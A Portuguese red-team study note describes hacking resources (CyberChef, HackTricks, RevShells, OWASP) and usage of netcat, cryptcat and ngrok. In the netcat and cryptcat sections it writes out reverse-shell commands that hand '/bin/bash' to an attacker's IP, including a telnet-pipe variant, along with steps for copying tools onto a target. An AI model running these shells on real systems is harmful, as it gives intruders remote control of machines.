Comandos, Pacotes e Sites interessantes
CyberChef
O CyberChef é um website criado pela GCHQ (agência de inteligência do Reino Unido) que permite fazer uma infinidade de operações em dados, de forma rápida e visual. É tipo um "canivete suíço" de manipulação de dados.
Principais usos para red team:
- Decodificar/encriptar (Base64, HEX, ROT13, etc.)
- Desofuscar strings ou payloads
- Converter formatos (ASCII ↔ HEX, JSON ↔ YAML, etc.)
- Extrair strings, hashes, IPs, etc. de textos
- Gerar payloads customizados
- Trabalhar com binários, hashes, compressão e muito mais
HackTricks
O HackTricks é um website no estilo Wiki que fornece dicas, técnicas e cheatsheets de hacking ofensivo.
Principais tópicos:
- Privesc (Linux/Windows)
- Bypasses de AV/EDR
- Exploração de vulnerabilidades web
- Active Directory
- Docker/Kubernetes exploitation
- Técnicas de pós-exploração
- Exfiltração, pivoting, tunneling
RevShells
O RevShells é um website que gera automaticamente reverse shells e bind shells para várias linguagens e cenários.
Recursos:
- Basta colocar IP e porta, e ele gera shells em: Bash, Python, PHP, Perl, Ruby, Netcat, Powershell, e muito mais
- Gera payloads compatíveis com Windows, Linux e até obfuscados
- Possui comandos para usar com
socat
,ncat
, e outros
OffensiveThink Reverse Shell Cheatsheet
Site com dicas sobre etical hacking.
netcat
O netcat
ou nc
é usado para fazer verificação de conexão, com isso, conseguimos saber se uma porta está escutando e respondendo requisições. Além disso, o netcat
pode ser utilizado para transferência de dados, simular serviços básicos de rede (como um servidor HTTP, TCP/UDP, ou até um "chat") de forma rápida e sem configuração complexa e até mesmo para estabelecer um shell reverso, que permite acessar um host remoto de forma interativa.
Opção | Descrição |
---|---|
-z | Somente faz um scan, para verificar se tem algum daemon escutando na porta. |
-v | Verbose. |
-l | Modo em que fica ouvindo na porta. |
-n | Evita a resolução de DNS. |
-p | Porta que sera usada. |
# Verificando se tem algo escutando uma porta:
$ netcat localhost 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2
# Fazendo um scan (verificando se a porta está aberta):
$ netcat -zv localhost 22
Connection to localhost 22 port [tcp/ssh] succeeded!
# Criar uma conexão para teste numa porta:
$ nc -k -l -p 12345
# Em outro terminal, verificar se tem algo escutando essa porta:
$ nc -zv localhost 12345
# Faz o Netcat se conectar na porta 443 no IP 192.168.40.217, quando alguém se conecta nessa porta/nesse IP, o netcat entrega um terminal '/bin/bash':
nc 192.168.40.217 443 -e /bin/bash
# Servidor HTTP Básico (para compartilhar arquivos ou mensagens):
echo "HTTP/1.1 200 OK\n\n<h1>Servidor Netcat</h1>" | nc -lvnp 80
# Para servir um arquivo (ex: arquivo.txt):
nc -lvnp 80 < arquivo.txt
# Enviar arquivo (máquina 1):
nc <IP_Máquina1> 9000 < arquivo_original.txt
# Receber um arquivo (máquina 2):
nc -lvnp 9000 > arquivo_recebido.txt
Caso a máquina alvo (que está sendo atacada) não tenha o NC/NETCAT instalado, ainda podemos fazer o shell reverso:
# Na maquina atacante, em um terminal (envia comandos para o alvo):
nc -vnlp 8080
# Na maquina atacante, em outro terminal (recebe a saída do comando do alvo):
nc -vnlp 4343
# Na máquina alvo:
telnet <IP_Máquina1> 8080 | /bin/bash | telnet <IP_Máquina1> 4343
O primeito telenet conecta na máquina do atacante ao qual permite ele conectar e ter acesso ao /bin/bash
e enviar comandos, o resultado dos comandos é redirecionada para o segundo telnet na porta 4343. Basicamente, estamos separando o canal de entrada de comandos (stdin) e o canal de saída da resposta (stdout/stderr).
cryptcat
O Cryptcat é uma versão modificada do netcat
que adiciona criptografia de sessão com chaves simétricas, permitindo que a comunicação entre cliente e servidor seja cifrada. Ele usa o Twofish como algoritmo de criptografia (sim, não é o AES, mas já dá uma segurança adicional).
# Atacante com senha:
cryptcat -k senhasecreta -l -p 4444
# Alvo com cryptcat e senha:
cryptcat <IP_Atacante> 4444 -k senhasecreta -e /bin/bash
Envie o cryptcat
da máquina do atacante para a máquina do alvo!
# No atacante podemos enviar o binário do cryptcat:
nc -vlnp 443 < cryptcat
# No alvo:
nc <IP_Máquina1> 443 > cryptcat
ngrok
O Ngrok é uma ferramenta usada para criar um túnel seguro (HTTPS/HTTP) entre a internet pública e um servidor local (por exemplo na sua máquina). Ele permite expor serviços locais (como um servidor web na porta 3000
ou 8080
) na internet sem configurar firewall, NAT ou DNS.
Por exemplo, com o ngrok podemos expor serviços locais na Internet, imagine que você tenha um site rodando na sua máquina e você quer disponibilizar ele na Internet durante uma apresentação ou coisa do tipo, com o ngrok isso é possível. O ngrok gera URLs com TLS (HTTPS) gratuito, mesmo para serviços locais HTTP, mostra todas as requisições/respostas em tempo real (http://localhost:4040
) e funciona até para serviços não-HTTP (ex: SSH, bancos de dados).
# Baixe a chave do repo do ngrok:
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
# Adicione o repo do ngrok:
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list
# Instale o ngrok:
sudo apt update && sudo apt install ngrok
É preciso criar uma conta gratuita no site e obter o token, depois configure:
ngrok config add-authtoken <SEU_TOKEN>
Para expor um serviço local para a Internet:
ngrok http 80
OWASP
O OWASP, que significa Open Web Application Security Project, é uma comunidade online global dedicada à segurança de aplicações web. Seu objetivo é melhorar a segurança de softwares através da disseminação de boas práticas, ferramentas gratuitas, guias técnicos, pesquisas e projetos colaborativos acessíveis a qualquer pessoa interessada, seja profissional de segurança, desenvolvedor, estudante ou pesquisador.
Um dos produtos mais conhecidos do OWASP é o OWASP Top 10, uma lista que mostra as dez principais vulnerabilidades de segurança em aplicações web. Essa lista é baseada em dados coletados de diversas fontes ao redor do mundo e serve como referência essencial tanto para desenvolvedores quanto para empresas que buscam melhorar a proteção de seus sistemas.
A importância do OWASP está no fato de que ele padroniza e orienta o desenvolvimento seguro, oferecendo desde modelos de políticas até exemplos de códigos seguros, ajudando a reduzir falhas como injeções de código, problemas de autenticação, exposições de dados sensíveis, entre outras.
É uma fonte extremamente confiável porque não possui fins lucrativos e é mantido por voluntários da comunidade de segurança cibernética, tornando seus conteúdos amplamente respeitados e utilizados por profissionais da área.
O OWASP oferece diversas ferramentas gratuitas que podemos baixar e utilizar para testar e melhorar a segurança de aplicações web. Uma das principais é o OWASP ZAP (Zed Attack Proxy), uma ferramenta de código aberto para testes de segurança em aplicações web. Ela permite interceptar e analisar tráfego HTTP/HTTPS, realizar varreduras automáticas e testes manuais para identificar vulnerabilidades como injeções de SQL, XSS, entre outras.
Outra ferramenta útil é o OWASP Dependency-Check, que realiza análise de componentes de software para identificar bibliotecas com vulnerabilidades conhecidas. É especialmente útil para desenvolvedores que desejam garantir que suas dependências estejam seguras.
Além disso, o OWASP Broken Web Applications Project oferece uma máquina virtual com aplicações web intencionalmente vulneráveis para fins educacionais e de teste. É uma excelente maneira de praticar técnicas de segurança em um ambiente controlado.